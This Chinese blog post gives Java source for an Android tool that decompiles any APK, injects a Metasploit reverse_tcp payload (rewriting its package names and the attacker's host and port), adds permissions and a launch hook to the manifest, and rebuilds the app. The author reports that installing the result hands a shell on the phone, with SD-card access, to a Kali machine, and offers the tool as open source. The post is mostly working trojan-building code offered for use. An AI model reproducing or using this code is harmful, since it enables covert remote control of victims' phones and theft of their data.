/声明:本文作者Kali_MG1937
csdn博客id:ALDYS4
QQ:3496925334
未经许可禁止转载!/
之前我不是分析过安卓载荷的构造并成功利用了吗
那么这回就动手写一个安卓工具来利用它!
(分析过程详看我的第一篇博客:分析metasploit安卓载荷)
开始构思
既然要实现载荷注入,那么首先就要实现反编译要注入的apk了
打开github
apktool.jar必不可少
既然是java语言,apktool在安卓上的应用还是有些麻烦
比如apktool中的
brut.androlib.ApktoolProperties.java
InputStream in = ApktoolProperties.class.getResourceAsStream("/properties/apktool.properties");
这个类调用到getResourceAsStream方法来获取assest文件夹中的资源,而这种方法在android中无法实现(亲测,运行时报错,原因不明)
但android有专门针对assest资源调用的AssestManager类,只要调用其getAssest()方法就可以对assest中的文件进行io流操作
由于诸多条件的限制,我不可能花太多时间和精力来完善apktool,但幸运的是,apktool.jar安卓化已经被github开源作者imkiva实现了
他新建了一个类并构造了许多void方法来容纳apktool的任性
放上他优化过后的apktool:
Apktool for android
apktool的问题解决了,接下来就是一个难关:反编译
总之我是没找到apktool的官方文档
在搜索了大量资料后发现大多数人都是利用apktool中的ApkDecoder这个类中的decode()等等方法进行apk反编译的
但apktool的开发者一定会更加简洁地去包装整个反编译过程,我打开apktool的源代码,查找ApkDecoder这个类
发现各种与之相关联的类最终都指向brut.apktool.Main这个类
发现Main的main方法需要引入一个字符串,也就是String[] arg,arg被带入解析成一个个字符,检查其中的参数,最终调用各种类去完成相应的操作
public static void main(String[] args) throws IOException, InterruptedException, BrutException {
// set verbosity default
Verbosity verbosity = Verbosity.NORMAL;
// cli parser
CommandLineParser parser = new PosixParser();
CommandLine commandLine = null;
// load options
_Options();
try {
commandLine = parser.parse(allOptions, args, false);
} catch (ParseException ex) {
System.err.println(ex.getMessage());
usage(commandLine);
return;
}
// check for verbose / quiet
if (commandLine.hasOption("-v") || commandLine.hasOption("--verbose")) {
verbosity = Verbosity.VERBOSE;
} else if (commandLine.hasOption("-q") || commandLine.hasOption("--quiet")) {
verbosity = Verbosity.QUIET;
}
setupLogging(verbosity);
// check for advance mode
if (commandLine.hasOption("advance") || commandLine.hasOption("advanced")) {
setAdvanceMode(true);
}
// @todo use new ability of apache-commons-cli to check hasOption for non-prefixed items
boolean cmdFound = false;
for (String opt : commandLine.getArgs()) {
if (opt.equalsIgnoreCase("d") || opt.equalsIgnoreCase("decode")) {
cmdDecode(commandLine);
cmdFound = true;
} else if (opt.equalsIgnoreCase("b") || opt.equalsIgnoreCase("build")) {
cmdBuild(commandLine);
cmdFound = true;
} else if (opt.equalsIgnoreCase("if") || opt.equalsIgnoreCase("install-framework")) {
cmdInstallFramework(commandLine);
cmdFound = true;
} else if (opt.equalsIgnoreCase("publicize-resources")) {
cmdPublicizeResources(commandLine);
cmdFound = true;
}
}
// if no commands ran, run the version / usage check.
if (!cmdFound) {
if (commandLine.hasOption("version") || commandLine.hasOption("version")) {
_version();
} else {
usage(commandLine);
}
}
}
继续检查代码,我惊讶地发现其中调用到的cmdBuild,cmdDecode等方法不就完美包装着反编译,回编译等操作吗
那么利用之前分析metasploit的结果相应注入smail代码进行回编译的操作也完美解决了
只需要传入Main.main一个值就可以了,自己包装几个方法去实现它就更加简单了
开始工程
首先新建一个Cmd类去包装apktool命令的方法
public class Cmd
{
public static List<String> cmd;
public static void start()
{
cmd=new ArrayList<String>();
}
public static void add(String a)
{
cmd.add(a);
}
public static String[] get()
{
return cmd.toArray(new String[cmd.size()]);
}
public static String getString()
{
StringBuilder sb=new StringBuilder();
for(String s:Cmd.get())
{
sb.append(s);
sb.append("\n");
}
return sb.toString();
}
public static void setArray(String[] s)
{
Cmd.start();
for(String ss:s)
{
cmd.add(ss);
}
}
public void apkDecompile(String apk,String out)
{
start();
cmd.add("d");
cmd.add(apk);
cmd.add("-o");
cmd.add(out);
cmd.add("-f");
cmd.add("-b");
}
public void apkDecompileRes(String src,String apk)
{
start();
cmd.add("d");
cmd.add(src);
cmd.add("-o");
cmd.add(apk);
cmd.add("-f");
cmd.add("-r");
cmd.add("-c");
}
public void apkDecompileDex(String src,String apk)
{
start();
cmd.add("d");
cmd.add(src);
cmd.add("-o");
cmd.add(apk);
cmd.add("-f");
cmd.add("-s");
}
public void apkCompile(String src,String aapt,String apk)
{
start();
cmd.add("b");
cmd.add(src);
cmd.add("-a");
cmd.add(aapt);
cmd.add("-o");
cmd.add(apk);
cmd.add("-f");
}
}
安卓载荷的smail代码我已经提取出来了,接下来需要做的就是释放assest中的smail资源并修改smail中所有的类名和f方法的a值(关于f方法还是看我第一篇分析metasploit的博客吧)
新建PayloadInject类和FileControl类
public class PayloadInject
{
//删除内容方法
public static void DeletIn(String file,String place) throws FileNotFoundException, IOException{
BufferedReader br=new BufferedReader(new FileReader(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
String str="";
StringBuffer sb=new StringBuffer();
while((str=br.readLine())!=null){
sb.append(str+"\n");
}
str=sb.toString().replace(place,"");
BufferedWriter bw=new BufferedWriter(new FileWriter(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
bw.write(str);
bw.close();
}
//新的插入方法replace替换
public static void injectIn(String file,String place,String inject) throws FileNotFoundException, IOException{
BufferedReader br=new BufferedReader(new FileReader(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
String str="";
StringBuffer sb=new StringBuffer();
while((str=br.readLine())!=null){
sb.append(str+"\n");
}
str=sb.toString();
StringBuffer change=sb.replace(str.indexOf(place),str.indexOf(place)+place.length(),place+"\n"+inject);
BufferedWriter bw=new BufferedWriter(new FileWriter(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
bw.write(change.toString());
bw.close();
}
public static void AllInject(String com)
{
try
{
File file=new File("/sdcard/inject_msf");
File[] files=file.listFiles();//遍历目录下所有文件
for (File f:files)
{
System.out.println(f);
BufferedReader br=new BufferedReader(new FileReader(f));//依次读取文件内容
try
{
String str;
CharArrayWriter cw=new CharArrayWriter();
while ((str = br.readLine()) != null)
{
str = str.replace("Lcom/metasploit/stage/", "L" + com.replace(".", "/") + "/");//替换包名
System.out.println(str);
//System.out.println(str);
cw.write(str);
cw.append(System.getProperty("line.separator"));
}
br.close();
FileWriter fw=new FileWriter(f);
cw.writeTo(fw);
fw.close();
}
catch (FileNotFoundException e)
{}
finally
{if (br != null)
{br.close();}}
}
}
catch (FileNotFoundException e)
{}
catch (IOException e)
{}
}
public static void injectLhost(String lhost,String lport) throws IOException{
File file=new File("/sdcard/inject_msf/f.smali");
BufferedReader br=new BufferedReader(new FileReader(file));
try
{
String str;
CharArrayWriter cw=new CharArrayWriter();
while((str=br.readLine())!=null){
str=str.replaceAll("tcp://192.168.2.200:6666","tcp://"+lhost+":"+lport);//替换ip和port
System.out.println(str);
cw.write(str);
cw.append(System.getProperty("line.separator"));
}
br.close();
FileWriter fw=new FileWriter(file);
cw.writeTo(fw);
fw.close();
}
catch (FileNotFoundException e)
{System.out.println(e);}
}
public static void inject(String com,String filename) throws IOException{
File file=new File("/sdcard/inject_msf/"+filename);
BufferedReader br=new BufferedReader(new FileReader(file));
try
{
String str;
CharArrayWriter cw=new CharArrayWriter();
while((str=br.readLine())!=null){
str=str.replaceAll("com.metasploit.stage.",com);//替换包名
System.out.println(str);
cw.write(str);
cw.append(System.getProperty("line.separator"));
}
br.close();
FileWriter fw=new FileWriter(file);
cw.writeTo(fw);
fw.close();
}
catch (FileNotFoundException e)
{System.out.println(e);}
}
因为直接利用InputStream读取大文件会乱码,所以我利用BufferedWriter类来进行文件转移和写入操作
public class FileControl
{public static String ReadSDString(String filename) throws FileNotFoundException, IOException {
String msg="";
StringBuffer sb=new StringBuffer();
BufferedReader br=new BufferedReader(new FileReader(filename));
while((msg=br.readLine())!=null){
sb.append(msg+"\n");
}
return sb.toString();
}//读取文件内容
public static String ReadString(Context context,String filename) throws FileNotFoundException, IOException {
String msg="";
StringBuffer sb=new StringBuffer();
BufferedReader br=new BufferedReader(new FileReader(context.getFileStreamPath("inject/"+filename)));
while((msg=br.readLine())!=null){
sb.append(msg+"\n");
}
return sb.toString();
}
public static void copyFolderFromAssets(Context context, String rootDirFullPath, String targetDirFullPath) {
Log.d("Tag", "copyFolderFromAssets " + "rootDirFullPath-" + rootDirFullPath + " targetDirFullPath-" + targetDirFullPath);
try {
String[] listFiles = context.getAssets().list(rootDirFullPath);// 遍历该目录下的文件和文件夹
for (String string : listFiles) {// 判断目录是文件还是文件夹,这里只好用.做区分了
Log.d("Tag", "name-" + rootDirFullPath + "/" + string);
if (isFileByName(string)) {// 文件
copyFileFromAssets(context, rootDirFullPath + "/" + string, targetDirFullPath + "/" + string);
} else {// 文件夹
String childRootDirFullPath = rootDirFullPath + "/" + string;
String childTargetDirFullPath = targetDirFullPath + "/" + string;
new File(childTargetDirFullPath).mkdirs();
copyFolderFromAssets(context, childRootDirFullPath, childTargetDirFullPath);
}
}
} catch (IOException e) {
Log.d("Tag", "copyFolderFromAssets " + "IOException-" + e.getMessage());
Log.d("Tag", "copyFolderFromAssets " + "IOException-" + e.getLocalizedMessage());
e.printStackTrace();
}
}
private static boolean isFileByName(String string) {
if (string.contains(".")) {
return true;
}
return false;
}
//从assets目录下拷贝文件
public static void copyFileFromAssets(Context context, String assetsFilePath, String targetFileFullPath) {
Log.d("Tag", "copyFileFromAssets ");
InputStream assestsFileImputStream;
try {
assestsFileImputStream = context.getAssets().open(assetsFilePath);
copyFile(assestsFileImputStream, targetFileFullPath);
} catch (IOException e) {
Log.d("Tag", "copyFileFromAssets " + "IOException-" + e.getMessage());
e.printStackTrace();
}
}
public static void copyFile(InputStream in, String targetPath) {
try {
FileOutputStream fos = new FileOutputStream(new File(targetPath));
byte[] buffer = new byte[1024];
int byteCount = 0;
while ((byteCount = in.read(buffer)) != -1) {// 循环从输入流读取
// buffer字节
fos.write(buffer, 0, byteCount);// 将读取的输入流写入到输出流
}
fos.flush();// 刷新缓冲区
in.close();
fos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
看样子载荷注入和文件提取都解决了,那么就开始进行反编译和注入了
bt.setOnClickListener(new OnClickListener(){
@Override
public void onClick(View p1)
{final Cmd cmd=new Cmd();//cmd
final String file=ed.getText().toString();
cmd.start();
new Thread(new Runnable(){
@Override
public void run()
{runOnUiThread(new Runnable(){
@Override
public void run()
{ly.setVisibility(View.VISIBLE);
tv.append("\n开始反编译apk...");
// TODO: Implement this method
}
});
cmd.apkDecompile(file,Environment.getExternalStorageDirectory().toString()+"/msfapk");
try
{
apk.run(cmd.get());
}
catch (IOException e)
{}
catch (InterruptedException e)
{}
catch (BrutException e)
{}
runOnUiThread(new Runnable(){
@Override
public void run()
{tv.append("\n反编译完成!");
ly.setVisibility(View.GONE);
showInjectMessage();
// TODO: Implement this method
}
});
}
}).start();
}
});
}
bt和tv参数就是Button和TextView了
反编译动作完成,开始注入载荷
因为注入任务需要独占线程可能会造成卡顿,所以我利用异步线程AsyncTask进行操作
public class baksmalis extends AsyncTask<Void,Void,Void>
{
StringBuffer sb=new StringBuffer();
String aaptdir="";
@Override
protected void onPreExecute()
{tv.append("\n注入开始...");
// TODO: Implement this method
super.onPreExecute();
}
@Override
protected Void doInBackground(Void[] p1)
{
//注入包名信息
try
{
PayloadInject.inject(com + ".", "class2.txt");
}
catch (IOException e)
{}
//注入权限
try
{
String permission=FileControl.ReadSDString("/sdcard/inject_msf/permission.txt");
PayloadInject.injectIn("AndroidManifest.xml", "</application>", permission);
//删除影响元素
PayloadInject.DeletIn("AndroidManifest.xml","android:resizeableActivity=\"true\"");
}
catch (IOException e)
{}
//注入意图
try
{
String Class=FileControl.ReadSDString("/sdcard/inject_msf/class.txt");
PayloadInject.injectIn("AndroidManifest.xml", "</intent-filter>", "\n" + Class);
}
catch (IOException e)
{}
//注入声明
try
{
String Class2=FileControl.ReadSDString("/sdcard/inject_msf/class2.txt");
PayloadInject.injectIn("AndroidManifest.xml", "</activity>", "\n" + Class2);
}
catch (IOException e)
{}
//注入包名
PayloadInject.AllInject(com);
//注入启动服务
try
{
String Java=FileControl.ReadSDString("/sdcard/inject_msf/inject.txt");
PayloadInject.injectIn("smali/" + com.replace(".", "/") + "/" + java + ".smali", "onCreate(Landroid/os/Bundle;)V", "\n" + Java);
}
catch (IOException e)
{}
//注入tcp
try
{
PayloadInject.injectLhost(lhost, lport);
}
catch (IOException e)
{}
//清道夫
String[] file=new String[]{"permission.txt","class.txt","class.txt","inject.txt"};
for(String f:file){
File files=new File("/sdcard/inject_msf/"+f);
files.delete();
}
//复制文件
String[] payload=new File("/sdcard/inject_msf/").list();
for(String str:payload){
try
{
InputStream in=new FileInputStream("/sdcard/inject_msf/" + str);
FileControl.copyFile(in, "/sdcard/msfapk/smali/" + com.replace(".", "/") + "/" + str);
}
catch (FileNotFoundException e)
{}
}
Cmd cmd=new Cmd();
aaptdir=Manage.copyfile(MainActivity.this,"aapt.mrp");
cmd.apkCompile(Environment.getExternalStorageDirectory().toString()+"/msfapk",aaptdir,Environment.getExternalStorageDirectory().toString()+"/msfapk.apk");
try
{
brut.apktool.Main.main(cmd.get());
}
catch (InterruptedException e)
{sb.append("\nInterrupted报错:\n"+e.toString());}
catch (BrutException e)
{sb.append("\nBrut报错\n"+e.toString());}
catch (IOException e)
{sb.append("\nIo流报错\n"+e.toString());}
// TODO: Implement this method
return null;
}
@Override
protected void onPostExecute(Void result)
{if(sb.toString().equals("")){
tv.append("\n回编译执行完成!");
}else{tv.append("\n"+sb.toString());}
// TODO: Implement this method
super.onPostExecute(result);
}
}
至此反编译和注入还有回编译都完成了,ui懒得放出来了,签名代码已经懒得写了
接下来编译代码看看效果
先编译一个没有任何行为的空项目
用注入工具开始注入。。。
接着输入对应的reverse_tcp信息
完成注入后的apk会输出在/sdcard/msfapk.apk
签名,安装
打开
回到kali,可以看到载荷已经反弹了一个shell
看看能不能访问sd卡
可以!
接下来就可以任意控制安装了病毒载荷的手机了!
接下来放上注入工具的开源和视频
/声明:开源作者即为本文作者Kali_MG1937
csdn博客id:ALDYS4
QQ:3496925334
未经许可禁止转载!/
项目开源